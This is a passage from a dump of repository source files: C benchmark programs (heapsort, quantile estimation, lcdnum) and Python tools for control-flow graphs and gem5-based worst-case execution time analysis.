capacity constraint\nassert(__count_201_209 <= 1); // Upper capacity constraint\nassert(__count_201_210 >= 1); // Lower capacity constraint\nassert(__count_201_210 <= 1); // Upper capacity constraint\nassert(__count_201_211 >= 1); // Lower capacity constraint\nassert(__count_201_211 <= 1); // Upper capacity constraint\nassert(__count_205_213 >= 1); // Lower capacity constraint\nassert(__count_205_213 <= 1); // Upper capacity constraint\nassert(__count_206_213 >= 1); // Lower capacity constraint\nassert(__count_206_213 <= 1); // Upper capacity constraint\nassert(__count_215 >= 1); // Lower capacity constraint\nassert(__count_215 <= 1); // Upper capacity constraint\nassert(__count_214_215 >= 1); // Lower capacity constraint\nassert(__count_214_215 <= 1); // Upper capacity constraint\n#endif\n \n return c;\n}\n\nint\ncover (int c)\n{\n c = swi10(c);\n c = swi50(c);\n c = swi120(c);\n\n return c;\n}\n\nint\nmain (int argc, char *argv[])\n{\n volatile int cnt;\n\n /*\n * One integer value must be supplied\n */\n if (argc != 2)\n {\n return 1;\n }\n\n cnt = atoi (argv[1]);\n int val = cover(cnt);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.6822262406349182, "alphanum_fraction": 0.6858168840408325, "avg_line_length": 38.78571319580078, "blob_id": "b8585c0398f0cd61e6ca741ffbd2c590f171de51", "content_id": "e29bb82b0aaf006613cf94e182be0b04c5504aec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 557, "license_type": "no_license", "max_line_length": 68, "num_lines": 14, "path": "/DaikonPathInformation/src/utils.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import itertools\n\ndef enum(*sequential, **named):\n enums = dict(zip(sequential, range(len(sequential))), **named)\n reverse = dict((value, key) for key, value in enums.iteritems())\n forward = dict((key, value) for key, value in enums.iteritems())\n enums['reverse_mapping'] = reverse\n enums['forward_mapping'] = forward\n return type('Enum', (), enums)\n\ndef peekahead_iterator(iterable, window=1):\n items, nexts = itertools.tee(iterable, 2)\n nexts = itertools.islice(nexts, window, None)\n return itertools.izip_longest(items, nexts)\n" }, { "alpha_fraction": 0.4651339054107666, "alphanum_fraction": 0.49595755338668823, "avg_line_length": 16.748878479003906, "blob_id": "23eb84375a7347d4ed47fce98989381b3d402d7d", "content_id": "0814ce9d76d41f2c7e03333d8bfb5a038d41b65a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3958, "license_type": "no_license", "max_line_length": 100, "num_lines": 223, "path": "/benchmarks/quantileEstimation/quantileEstimation.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Takes an input vector of doubles and calculates an estimate of the 0.5 quantile (i.e. the median)\n * \n * The algorithm is an adapted version of the 'Single-Pass Estimation of Arbitrary Quantiles'\n * algorithm found on pages 435-438 in the book \"Numerical Recipes The Art Of Scientific Computing\"\n * Third Edition by William H. Press et al\n */\n\n#define nbuf 1000\n#define nq 251\n\nint nt = 0;\nint nd = 0;\n\ndouble pval[nq];\ndouble dbuf[nbuf];\ndouble qile[nq];\n\ndouble q0 = 1.0e99;\ndouble qm = -1.0e99;\n\ndouble minDoub(double a, double b) {\n\tif(a < b) {return a;}\n\telse {return b;}\n}\n\ndouble maxDoub(double a, double b) {\n\tif(a > b) {return a;}\n\telse {return b;}\n}\n\nint merge (int ARRAY_SIZE, double a[], double b[], int l, int r, int u)\n{\n int i = l;\n int j = r;\n int k = l;\n\n while (i < r && j < u)\n {\n if (a[i] <= a[j])\n {\n b[k] = a[i];\n i++;\n }\n else\n {\n b[k] = a[j];\n j++;\n }\n k++;\n }\n while (i < r)\n {\n b[k] = a[i];\n i++;\n k++;\n }\n while (j < u)\n {\n b[k] = a[j];\n j++;\n k++;\n }\n for (k = l; k < u; k++)\n {\n a[k] = b[k];\n }\n}\n\nvoid mergesort (int ARRAY_SIZE, double a[])\n{\n int k = 1;\n int u;\n int i;\n double b[ARRAY_SIZE];\n\n while (k < ARRAY_SIZE)\n {\n i = 1;\n while (i + k <= ARRAY_SIZE)\n {\n u = i + k * 2;\n if (u > ARRAY_SIZE)\n {\n u = ARRAY_SIZE + 1;\n }\n merge (ARRAY_SIZE, a, b, i, i + k, u);\n i = i + k * 2;\n }\n k = k * 2;\n }\n}\n\nvoid initialise() {\n\tint i;\n\tfor (i = 0; i < nq; i++) {\n\t\tqile[i] = 0.0;\n\t}\n\n\tfor (i = 85; i <= 165; i++) {\n\t\tpval[i] = (i - 75.0) / 100.0;\n\t}\n\n\tfor (i = 84; i >= 0; i--) {\n\t\tpval[i] = 0.87191909 * pval[i+1];\n\t\tpval[250 - i] = 1.0 - pval[i];\n\t}\n}\n\nvoid update() {\n\tint jd = 0, jq = 0, iq;\n\tdouble target, told = 0.0, tnew = 0.0;\n\tdouble qold, qnew;\n\tdouble newqile[nq];\n\t\n\tmergesort(nd, dbuf);\n\tqold = qnew = qile[0] = newqile[0] = q0;\n\tqile[nq-1] = newqile[nq-1] = qm;\n\n\tpval[0] = minDoub(0.5 / (nt + nd), 0.5 * pval[1]);\n\tpval[nq-1] = maxDoub(1.0 - 0.5 / (nt + nd), 0.5 * (1.0 + pval[nq - 2]));\n\n\tfor(iq = 1; iq < nq - 1; iq++) {\n\t\ttarget = (nt + nd) * pval[iq];\n\t\tif (tnew < target) {\n\t\t\tfor (;;) {\n\t\t\t\tif (jq < nq && (jd >= nd || qile[jq] < dbuf[jd])) {\n\t\t\t\t\tqnew = qile[jq];\n\t\t\t\t\ttnew = jd + nt * pval[jq++];\n\t\t\t\t\tif (tnew >= target) break;\n\t\t\t\t} else {\n\t\t\t\t\tqnew = dbuf[jd];\n\t\t\t\t\ttnew = told;\n\t\t\t\t\tif (qile[jq] > qile[jq-1]) {\n\t\t\t\t\t\ttnew += nt * (pval[jq] - pval[jq-1]) * (qnew - qold) / (qile[jq] - qile[jq-1]);\n\t\t\t\t\t}\n\t\t\t\t\tjd++;\n\t\t\t\t\tif (tnew >= target) break;\n\t\t\t\t\ttold = tnew++;\n\t\t\t\t\tqold = qnew;\n\t\t\t\t\tif (tnew >= target) break;\n\t\t\t\t}\n\t\t\t\ttold = tnew;\n\t\t\t\tqold = qnew;\n\t\t\t}\t\t\t\n\t\t}\n\t\tif (tnew == told) {\n\t\t\tnewqile[iq] = 0.5 * (qold + qnew);\n\t\t} else {\n\t\t\tnewqile[iq] = qold + (qnew - qold) * (target - told) / (tnew - told);\n\t\t}\n\t\ttold = tnew;\n\t\tqold = qnew;\n\t}\n\tint i;\n\tfor(i = 0; i < nq; i++) {\n\t\tqile[i] = newqile[i];\n\t}\n\tnt += nd;\n\tnd = 0;\n}\n\ndouble report(double p) {\n\tdouble q;\n\tif (nd > 0) update();\n\n\tint jl = 0;\n\tint jh = nq - 1;\n\tint j;\n\n\twhile (jh - jl > 1) {\n\t\tj = (jh + jl) >> 1;\n\t\tif (p > pval[j]) {jl = j;}\n\t\telse {jh = j;}\n\t}\n\tj = jl;\n\tq = qile[j] + (qile[j+1] - qile[j]) * (p - pval[j]) / (pval[j+1] - pval[j]);\n\treturn maxDoub(qile[0], minDoub(qile[nq-1], q));\n}\n\nvoid add(double datum) {\n\tdbuf[nd++] = datum;\n\tif (datum < q0) {q0 = datum;}\n\tif (datum > qm) {qm = datum;}\n\tif (nd == nbuf) update();\n}\n\ndouble quantileEstimation(double a[], int ARRAY_SIZE, double quantile) {\n\tint i;\t\n\n\tinitialise();\n\tfor (i = 0; i < ARRAY_SIZE; i++) {\n\t\tadd(a[i]);\n\t}\n\n\treturn report(quantile);\n}\n\nint main (int argc, char *argv[])\n{\n\tconst int ARRAY_SIZE = argc - 1;\n\tdouble TV[ARRAY_SIZE];\n\tint i;\n\n\t/*\n\t * At least one integer value must be supplied\n\t */\n\tif (argc == 1)\n\t{\n\t\treturn 1;\n\t}\n\n\tfor (i = 0; i < argc - 1; i++)\n\t{\n\t\tTV[i] = atoi (argv[i + 1]);\n\t}\n\n\tdouble quantileEstimate = quantileEstimation(TV, ARRAY_SIZE, 0.5);\n\n\tprintf(\"%lf\\n\", quantileEstimate);\n\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.5848317742347717, "alphanum_fraction": 0.5873242020606995, "avg_line_length": 34.980770111083984, "blob_id": "6f519d2a45467079b6858780f3cf7b4bcadce4a6", "content_id": "3cf05d956742b12f2cedc4b926b6d93e0a63646a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5617, "license_type": "no_license", "max_line_length": 124, "num_lines": 156, "path": "/GPUTimingAnalysis/src/Vertices.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "from Edges import Edge\nfrom DirectedGraphs import dummyVertexID\nimport Debug\n\nclass Vertex ():\n def __init__ (self, vertexID):\n self._vertexID = vertexID\n self._predecessors = {}\n self._successors = {}\n \n def getVertexID (self):\n return self._vertexID\n \n def addPredecessor (self, predID, edgeID=None):\n assert predID not in self._predecessors, \"Vertex %d already has predecessor %d\" % (self._vertexID, predID)\n e = Edge(predID, edgeID)\n self._predecessors[predID] = e\n \n def addPredecessorEdge (self, prede):\n predID = prede.getVertexID()\n assert predID not in self._predecessors, \"Vertex %d already has predecessor %d\" % (self._vertexID, predID)\n self._predecessors[predID] = prede\n \n def removePredecessor (self, predID):\n assert predID in self._predecessors, \"Cannot remove %d as it is not in predecessor of %d\" % (predID, self._vertexID)\n del self._predecessors[predID]\n \n def getPredecessorIDs (self):\n return self._predecessors.keys()\n \n def getPredecessorEdges (self):\n return self._predecessors.values()\n \n def numberOfPredecessors (self):\n return len(self._predecessors)\n \n def hasPredecessor (self, predID):\n return predID in self._predecessors.keys()\n \n def getPredecessorEdge (self, predID):\n assert predID in self._predecessors, \"Vertex %d is not a predecessor of %d\" % (predID, self._vertexID)\n return self._predecessors[predID]\n \n def addSuccessor (self, succID,edgeID=None):\n assert succID not in self._successors, \"Vertex %d already has successor %d\" % (self._vertexID, succID)\n e = Edge(succID, edgeID)\n self._successors[succID] = e\n \n def addSuccessorEdge (self, succe):\n succID = succe.getVertexID()\n assert succID not in self._successors, \"Vertex %d already has successor %d\" % (self._vertexID, succID)\n self._successors[succID] = succe\n \n def removeSuccessor (self, succID):\n assert succID in self._successors, \"Cannot remove %d as it is not in _successors of %d\" % (succID, self._vertexID)\n del self._successors[succID]\n \n def getSuccessorIDs (self):\n return self._successors.keys()\n \n def getSuccessorEdges (self):\n return self._successors.values()\n \n def numberOfSuccessors (self):\n return len(self._successors)\n \n def hasSuccessor (self, succID):\n return succID in self._successors.keys()\n \n def getSuccessorEdge (self, succID):\n assert succID in self._successors, \"Vertex %d is not a successor of %d\" % (succID, self._vertexID)\n return self._successors[succID]\n \n def predecessorStr (self):\n string = \"pred = {\"\n count = 1\n for predID in sorted(self._predecessors.keys()):\n string += str(predID)\n if count < len(self._predecessors):\n string += \",\"\n count = count + 1\n string += \"}\\n\"\n return string\n \n def successorStr (self): \n string = \"succ = {\"\n count = 1\n for succID in sorted(self._successors.keys()):\n string += str(succID)\n if count < len(self._successors):\n string += \",\"\n count = count + 1\n string += \"}\\n\"\n return string\n \nclass TreeVertex (Vertex):\n def __init__ (self, vertexID):\n Vertex.__init__(self, vertexID)\n self.__parentID = dummyVertexID\n self.__level = -1\n \n def setParentID (self, parentID):\n self.__parentID = parentID\n \n def getParentID (self):\n assert self.__parentID != dummyVertexID, \"Parent ID of %d has not been set\" % self.parentID\n return self.__parentID\n \n def setLevel (self, level):\n assert level >= 0, \"The level of a vertex cannot be less than 0. You gave %d\" % level\n self.__level = level\n \n def getLevel (self):\n return self.__level \n \n def __str__ (self):\n if self.__parentID == dummyVertexID:\n return \"parent(%d) = <>\\n\" % self._vertexID\n else:\n return \"parent(%d) = %d\\n\" % (self._vertexID, self.__parentID)\n \nclass HeaderVertex (TreeVertex):\n def __init__ (self, vertexID, headerID):\n TreeVertex.__init__(self, vertexID)\n self.headerID = headerID\n \n def getHeaderID (self):\n return self.headerID\n \n def __str__ (self):\n return TreeVertex.__str__(self)[:-1] + \" (\" + \"*\" * 3 + \" HEADER \" + \"*\" * 3 + \")\\n\" \n \nclass Ipoint (Vertex):\n def __init__ (self, vertexID, IpointID):\n Vertex.__init__(self, vertexID)\n self.__IpointID = IpointID\n self.__succIpointIDToVertexID = {}\n \n def getIpointID (self):\n return self.__IpointID\n \n def addIpointSuccessor (self, succIpointID, succID):\n self.__succIpointIDToVertexID[succIpointID] = succID\n \n def getIpointSuccessor (self, succIpointID):\n if succIpointID not in self.__succIpointIDToVertexID:\n Debug.debugMessage(\"Unable to find successor of %s with Ipoint ID 0x%04X\" % (self._vertexID, succIpointID), 1)\n return None\n return self.__succIpointIDToVertexID[succIpointID]\n \n def __str__ (self):\n string = \"Vertex ID = \" + str(self._vertexID) + \"\\n\"\n string += \"\\tIpoint ID = \" + str(self.__IpointID) + \"\\n\"\n string += \"\\t\" + Vertex.predecessorStr(self)\n string += \"\\t\" + Vertex.successorStr(self) \n return string\n " }, { "alpha_fraction": 0.601837694644928, "alphanum_fraction": 0.603675365447998, "avg_line_length": 39.8125, "blob_id": "8bca9b99d754c951a0b39de48ee521ade1682985", "content_id": "edaed0bf9767a65e4a6a01d7c947e649bd96e787", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3265, "license_type": "no_license", "max_line_length": 165, "num_lines": 80, "path": "/DaikonPathInformation/src/tool_super_blocks.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nfrom __future__ import print_function\n\nimport program_input_output\nimport debug\nimport traces\nimport calculations\nimport config\nimport argparse\nimport os\n\ndef count_program_points(program):\n superg_program_points = 0\n cfg_program_points = 0\n for cfg in program.cfgs.values():\n pathg = cfg.get_super_block_cfg()\n superg_program_points += len(pathg.getMonitoredProgramPoints())\n cfg_program_points += min(cfg.number_of_vertices(), cfg.number_of_edges())\n print(config.Arguments.program, \"[Super block program points = %d\" % superg_program_points, \"CFG program points = %d]\" % cfg_program_points)\n return program\n\ndef the_command_line():\n parser = argparse.ArgumentParser(description=\"Compute super block cfgs\")\n \n parser.add_argument(\"program_file\",\n help=\"a file containing program information (with '.txt' extension)\")\n \n parser.add_argument(\"-d\",\n \"--debug\",\n type=int,\n help=\"debug mode\",\n default=0)\n \n parser.add_argument(\"-u\",\n \"--udraw\",\n action=\"store_true\",\n help=\"generate uDrawGraph files\",\n default=False)\n\n parser.add_argument(\"--generate-traces\",\n type=int,\n help=\"generate traces for the given program\",\n default=0,\n metavar=\"<INT>\")\n \n parser.add_argument(\"--parse-trace\",\n help=\"parse this trace file\",\n metavar=\"<FILE>\")\n \n parser.add_argument(\"-v\",\n \"--verbose\",\n action=\"store_true\",\n help=\"be verbose\",\n default=False)\n \n parser.parse_args(namespace=config.Arguments)\n \n config.Arguments.basename = os.path.splitext(os.path.basename(config.Arguments.program_file))[0]\n config.Arguments.basepath = os.path.abspath(os.path.dirname(config.Arguments.program_file))\n \n config.Arguments.program_file = os.path.abspath(config.Arguments.program_file)\n if not config.Arguments.program_file.endswith(\".txt\"):\n debug.exit_message(\"Please pass a program file with a '%s' suffix\" % \".txt\")\n \n if config.Arguments.parse_trace is not None:\n config.Arguments.parse_trace = os.path.abspath(config.Arguments.parse_trace)\n assert os.path.exists(config.Arguments.parse_trace), \"Trace file '%s' does not exist\" % config.Arguments.parse_trace\n assert os.path.getmtime(config.Arguments.program_file) <= os.path.getmtime(config.Arguments.parse_trace), \"Program file modified AFTER trace file generation\"\n \nif __name__ == \"__main__\":\n the_command_line()\n program = program_input_output.read_file(config.Arguments.program_file)\n count_program_points(program)\n if config.Arguments.generate_traces > 0:\n traces.Generatetraces(program, config.Arguments.traces)\n elif config.Arguments.parse_trace:\n data = traces.Parsetraces(config.Arguments.tracefile, program)\n program.output()\n calculations.WCETCalculation(program, data)\n" }, { "alpha_fraction": 0.5750617980957031, "alphanum_fraction": 0.5807135105133057, "avg_line_length": 45.60082244873047, "blob_id": "7a50e742a524956e9aef59952e8a11c5b1866719", "content_id": "556aceaa0f2d02eb86db226b3214ef319f5092d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11324, "license_type": "no_license", "max_line_length": 142, "num_lines": 243, "path": "/DaikonPathInformation/src/tool_Gem5.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport config\nimport debug\nimport timing\nimport calculations\nimport traces\nimport testing\nimport arm\nimport program_input_output\nimport argparse\nimport subprocess\nimport sys\nimport os\nimport re\nimport distutils.spawn\n\ndef do_analysis(program): \n time1 = timing.log(\"TRACE PARSING RUN #1 (NO INLINING)\")\n data = traces.Gem5Parser(program, config.Arguments.gem5_traces)\n debug.verbose_message(\"HWMT = %d\" % data.getLongestTime(), __name__) \n calculations.WCETCalculation(program, data)\n program.output()\n program.generateAllUDrawFiles()\n\n if program.getCallGraph().numOfvertices() > 1 and config.Arguments.inline:\n program.inlineCalls()\n time2 = timing.log(\"TRACE PARSING RUN #2 (INLINED PROGRAM)\")\n data = traces.Gem5Parser(program, config.Arguments.gem5_traces)\n debug.verbose_message(\"HWMT = %d\" % data.getLongestTime(), __name__)\n calculations.WCETCalculation(program, data)\n program.output()\n program.generateAllUDrawFiles(\"inlined\")\n \ndef set_gem5_variables():\n # Need a gem5 environment variable \n gem5_home = \"GEM5_HOME\"\n try:\n config.Arguments.gem5_basepath = os.environ[gem5_home]\n if not os.path.exists(os.path.abspath(config.Arguments.gem5_basepath)):\n debug.exit_message(\"Your gem5 base directory '%s' does not exist\" % config.Arguments.gem5_basepath)\n config.Arguments.gem5_simulator = config.Arguments.gem5_basepath + os.sep + \"build\" + os.sep + \"ARM\" + os.sep + \"gem5.opt\"\n if not os.path.exists(config.Arguments.gem5_simulator):\n debug.exit_message(\n\"\"\"Unable to find '%s' in your gem5 distribution, which is the optimised arm \nconfiguration of gem5. Ensure that you have built this version using \n'scons arm/build/gem5.opt' in '%s'\"\"\" \\\n% (config.Arguments.gem5_simulator, config.Arguments.gem5_basepath))\n config.Arguments.gem5_config = config.Arguments.gem5_basepath + os.sep + \"configs\" + os.sep + \"example\" + os.sep + \"se.py\"\n if not os.path.exists(config.Arguments.gem5_config):\n debug.exit_message(\"The gem5 configuration file '%s' does not exist\" % config.Arguments.gem5_config)\n except KeyError:\n debug.exit_message (\"You need to set environment variable '%s' to simulate the program using gem5\" % gem5_home)\n \ndef check_trace_files():\n files = []\n for trace_file in config.Arguments.gem5_traces:\n trace_file = os.path.abspath(trace_file)\n if not re.match(r'.*%s\\.trace\\.[0-9]+' % config.Arguments.basename, trace_file):\n debug.exitMessage(\"The file '%s' is not a valid gem5 trace for '%s'\" % (trace_file, config.Arguments.basename)) \n if not os.path.isfile(trace_file):\n debug.exitMessage(\"The argument '%s' is not a valid file\" % trace_file) \n files.append(trace_file)\n config.Arguments.gem5_traces = files\n\ndef disassemble_program(binary):\n debug.verbose_message(\"Disassembling program\", __name__)\n disassembly_filename = binary + \".dis\"\n with open(disassembly_filename, 'w') as disassembly:\n cmd = \"%s %s -d\" % (config.Arguments.objdump, binary)\n proc = subprocess.Popen(cmd, \n shell=True, \n stdout=disassembly, \n stderr=sys.stderr) \n returncode = proc.wait()\n if returncode:\n debug.exit_message(\"Disassembling '%s' failed\" % binary) \n return disassembly_filename\n \ndef compile_program(program):\n debug.verbose_message(\"Compiling program\", __name__)\n optimisation = \"\"\n extraFlags = \"\"\n if config.Arguments.flags:\n for flag in config.Arguments.flags:\n extraFlags += \"-%s \" % flag\n if re.match(r'O[0-3]+', flag):\n optimisation = flag\n binary = program[:-2] + optimisation\n cmd = \"%s -fno-stack-protector -static %s %s -o %s\" % (config.Arguments.GCC, extraFlags, program, binary)\n debug.debug_message(\"Compiling with command '%s'\" % cmd, 1)\n proc = subprocess.Popen(cmd, \n shell=True, \n stdout=sys.stdout, \n stderr=sys.stderr) \n returncode = proc.wait()\n if returncode:\n debug.exit_message(\"Compiling '%s' with '%s' failed\" % (program, cmd))\n return binary\n \ndef get_binary_and_program():\n file_ext = os.path.splitext(config.Arguments.program_file)[1]\n if file_ext:\n if file_ext == '.c':\n if not distutils.spawn.find_executable(config.Arguments.GCC):\n debug.exit_message(\"Unable to find arm GCC cross compiler '%s' on your path\" % config.Arguments.GCC)\n if not distutils.spawn.find_executable(config.Arguments.objdump):\n debug.exit_message(\"Unable to find arm GCC object dump facility '%s' on your path\" % config.Arguments.objdump)\n if not config.Arguments.root:\n debug.exit_message(\"To compile and analyse a C file, you must supply a root function via -r.\")\n binary = compile_program(config.Arguments.program_file)\n disassembly = disassemble_program(binary)\n program = arm.Disassembler(disassembly, config.Arguments.root).program\n program_input_output.write_disassembled_program_to_file(program, disassembly)\n return binary, program\n else:\n debug.exit_message(\"Unable to compile '%s' because its extension is not '%s'\" % (config.Arguments.program_file, '.c'))\n else:\n binary = config.Arguments.program_file\n config.Arguments.program_file = binary + \".txt\"\n if not os.access(binary, os.X_OK):\n debug.exit_message(\"The argument '%s' does not have execute permissions\" % binary)\n if not os.path.exists(config.Arguments.program_file):\n debug.exit_message(\"Expected to find file with program information in '%s' but it is not there\" % config.Arguments.program_file)\n program = program_input_output.read_file(config.Arguments.program_file)\n return binary, program\n\ndef the_command_line():\n def comma_separated_list(the_list):\n try:\n return the_list.split(',')\n except:\n raise argparse.ArgumentTypeError(\"Invalid compiler flags\")\n \n parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n description=\"Run C programs on gem5 and analyse traces\")\n \n parser.add_argument(\"program_file\",\n help=\"either a program to compile (with '.c.' extension) or a pre-compiled binary\")\n \n parser.add_argument(\"gem5_traces\", \n nargs='*',\n help=\"previous gem5 runs\")\n \n parser.add_argument(\"-C\",\n \"--compile\",\n action=\"store_true\",\n help=\"only compile program\",\n default=False)\n\n parser.add_argument(\"--compiler-flags\",\n type=comma_separated_list,\n help=\"flags to be passed to the compiler\",\n dest=\"flags\",\n metavar=\"<FLAGS>\")\n \n parser.add_argument(\"-d\",\n \"--debug\",\n action=\"store\",\n type=int,\n help=\"debug mode\",\n metavar=\"<INT>\",\n default=0)\n \n parser.add_argument(\"--exclusive-size\",\n action=\"store\",\n type=int,\n help=\"size of subsets of mutually exclusive basic blocks to compute\",\n metavar=\"<INT>\")\n \n parser.add_argument(\"-G\",\n \"--ga\",\n action=\"store_true\",\n help=\"use a genetic algorithm to generate test vectors\",\n default=False)\n \n parser.add_argument(\"-I\",\n \"--inline\",\n action=\"store_true\",\n help=\"do analysis with fully inlined program where applicable\",\n default=False)\n \n parser.add_argument(\"-r\",\n \"--root\",\n action=\"store\",\n help=\"the function that is the entry point of the analysis. [This should not be 'main']\",\n metavar=\"<FUNCTION>\")\n \n parser.add_argument(\"-T\",\n \"--number-of-tests\",\n action=\"store\",\n type=int,\n dest=\"tests\",\n help=\"the number of times to run the application\",\n metavar=\"<INT>\",\n default=1)\n \n parser.add_argument(\"-u\",\n \"--udraw\",\n action=\"store_true\",\n help=\"generate uDrawGraph files\",\n default=False)\n \n parser.add_argument(\"-v\",\n \"--verbose\",\n action=\"store_true\",\n help=\"be verbose\",\n default=False)\n \n parser.parse_args(namespace=config.Arguments)\n \n config.Arguments.basename = os.path.splitext(os.path.basename(config.Arguments.program_file))[0]\n config.Arguments.basepath = os.path.abspath(os.path.dirname(config.Arguments.program_file))\n \n config.Arguments.program_file = os.path.abspath(config.Arguments.program_file)\n if not os.path.exists(config.Arguments.program_file):\n debug.exit_message(\"The first command-line argument must be a file: '%s' does not exist.\" % config.Arguments.program_file)\n elif not os.path.isfile(config.Arguments.program_file):\n debug.exit_message(\"The first command-line argument must be a file: '%s' is not a file\" % config.Arguments.program_file)\n \n config.Arguments.test_specification_file = os.path.splitext(config.Arguments.program_file)[0] + '.test'\n if not os.path.exists(config.Arguments.test_specification_file ):\n debug.exit_message(\"Expected to find the test specification file '%s' but it is not there\" % config.Arguments.test_specification_file)\n\nif __name__ == \"__main__\": \n the_command_line()\n debug.verbose_message(\"%s Analysing program '%s' %s\" % ('*' * 10, config.Arguments.program_file, '*' * 10), __name__)\n time1 = timing.log(\"COMPILING BEGIN\")\n binary, program = get_binary_and_program()\n time2 = timing.log(\"COMPILING END\")\n if config.Arguments.compile:\n debug.exit_message(\"DONE\")\n if config.Arguments.gem5_traces:\n check_trace_files()\n else:\n set_gem5_variables()\n if config.Arguments.ga:\n debug.verbose_message(\"Using GA to generate test vectors\", __name__)\n config.Arguments.gem5_traces.extend(testing.runGAGem5(binary))\n else:\n debug.verbose_message(\"Running program on gem5 with %d tests\" % config.Arguments.tests, __name__)\n config.Arguments.gem5_traces.extend(testing.run_gem5(binary))\n do_analysis(program)\n" }, { "alpha_fraction": 0.3892455995082855, "alphanum_fraction": 0.4069020748138428, "avg_line_length": 13.404623985290527, "blob_id": "afa3c33a190d5305784dd8599aca39ac5bedc618", "content_id": "286bca6852a259eaa87f40faf60506c3ce187ebf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2492, "license_type": "no_license", "max_line_length": 75, "num_lines": 173, "path": "/benchmarks/heapsort/heapsort.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Heap sort which consumes a\n * test vector supplied on the command line.\n *\n * For this program, the test vector is a list of integers to be sorted.\n * Note that the size of the array is determined by the number of arguments\n * given to the program, i.e. argc - 1.\n */\n\nvoid\nheapbubble (int ARRAY_SIZE, int a[], int pos)\n{\n int z = 0;\n int max = 0;\n int tmp = 0;\n int left = 0;\n int right = 0;\n\n z = pos;\n for (;;)\n {\n left = 2 * z + 1;\n right = left + 1;\n\n if (left >= ARRAY_SIZE)\n {\n return;\n }\n else if (right >= ARRAY_SIZE)\n {\n max = left;\n }\n else if (a[left] > a[right])\n {\n max = left;\n }\n else\n {\n max = right;\n }\n if (a[z] > a[max])\n {\n return;\n }\n\n tmp = a[z];\n a[z] = a[max];\n a[max] = tmp;\n z = max;\n }\n}\n\nvoid\nheapsort (int ARRAY_SIZE, int a[])\n{\n int i;\n int tmp;\n int z;\n int max;\n int tmp2;\n int left;\n int right;\n\n for (i = ARRAY_SIZE / 2; i >= 0; --i)\n {\n max = 0;\n tmp2 = 0;\n left = 0;\n right = 0;\n z = i;\n \n for (;;)\n {\n left = 2 * z + 1;\n right = left + 1;\n\n if (left >= ARRAY_SIZE)\n {\n break;\n }\n else if (right >= ARRAY_SIZE)\n {\n max = left;\n }\n else if (a[left] > a[right])\n {\n max = left;\n }\n else\n {\n max = right;\n }\n if (a[z] > a[max])\n {\n break;\n }\n\n tmp2 = a[z];\n a[z] = a[max];\n a[max] = tmp2;\n z = max;\n }\n } \n\n for (i = ARRAY_SIZE - 1; i > 0; i--)\n {\n tmp = a[0];\n a[0] = a[i];\n a[i] = tmp;\n max = 0;\n tmp2 = 0;\n left = 0;\n right = 0;\n z = 0;\n \n for (;;)\n {\n left = 2 * z + 1;\n right = left + 1;\n\n if (left >= ARRAY_SIZE)\n {\n break;\n }\n else if (right >= ARRAY_SIZE)\n {\n max = left;\n }\n else if (a[left] > a[right])\n {\n max = left;\n }\n else\n {\n max = right;\n }\n if (a[z] > a[max])\n {\n break;\n }\n\n tmp2 = a[z];\n a[z] = a[max];\n a[max] = tmp2;\n z = max;\n }\n }\n}\n\nint\nmain (int argc, char *argv[])\n{\n const int ARRAY_SIZE = argc - 1;\n int TV[ARRAY_SIZE];\n int i;\n\n /*\n * At least one integer value must be supplied\n */\n if (argc == 1)\n {\n return 1;\n }\n\n for (i = 0; i < argc - 1; ++i)\n {\n TV[i] = atoi (argv[i + 1]);\n }\n\n heapsort (ARRAY_SIZE, TV);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.40130624175071716, "alphanum_fraction": 0.507982611656189, "avg_line_length": 16.66666603088379, "blob_id": "98dbb297e525245d5801c5a64fd64f9ed4eb105a", "content_id": "ed44a8ad68ed16060604a2048df6022aaf32ab7e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1378, "license_type": "no_license", "max_line_length": 74, "num_lines": 78, "path": "/benchmarks/lcdnum/lcdnum.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\r * LCD number (lcdnum) program taken from MDH suite and modified by Adam Betts\r * to consume a test vector supplied on the command line.\r *\r * For this program, the test vector is a single hexadecimal digit\r * The input range is therefore [0..15]\r */\r\runsigned char\rlcdnum (unsigned char a)\r{\r switch (a)\r {\r case 0x00:\r return 0;\r case 0x01:\r return 0x24;\r case 0x02:\r return 1 + 4 + 8 + 16 + 64;\r case 0x03:\r return 1 + 4 + 8 + 32 + 64;\r case 0x04:\r return 2 + 4 + 8 + 32;\r case 0x05:\r return 1 + 4 + 8 + 16 + 64;\r case 0x06:\r return 1 + 2 + 8 + 16 + 32 + 64;\r case 0x07:\r return 1 + 4 + 32;\r case 0x08:\r return 0x7F; /* light all */\r case 0x09:\r return 0x0F + 32 + 64;\r case 0x0A:\r return 0x0F + 16 + 32;\r case 0x0B:\r return 2 + 8 + 16 + 32 + 64;\r case 0x0C:\r return 1 + 2 + 16 + 64;\r case 0x0D:\r return 4 + 8 + 16 + 32 + 64;\r case 0x0E:\r return 1 + 2 + 8 + 16 + 64;\r case 0x0F:\r return 1 + 2 + 8 + 16;\r }\r\r return 0;\r}\r\rint\rmain (int argc, char *argv[])\r{\r int i;\r volatile unsigned char OUT;\r unsigned char a;\r\r /*\r * One integer must be supplied\r */\r if (argc != 2)\r {\r return 1;\r }\r\r a = atoi (argv[1]);\r\r for (i = 0; i < 10; i++)\r {\r if (i < 5)\r {\r a = a & 0x0F;\r OUT = lcdnum(a);\r }\r }\r\r return 0;\r}\r" }, { 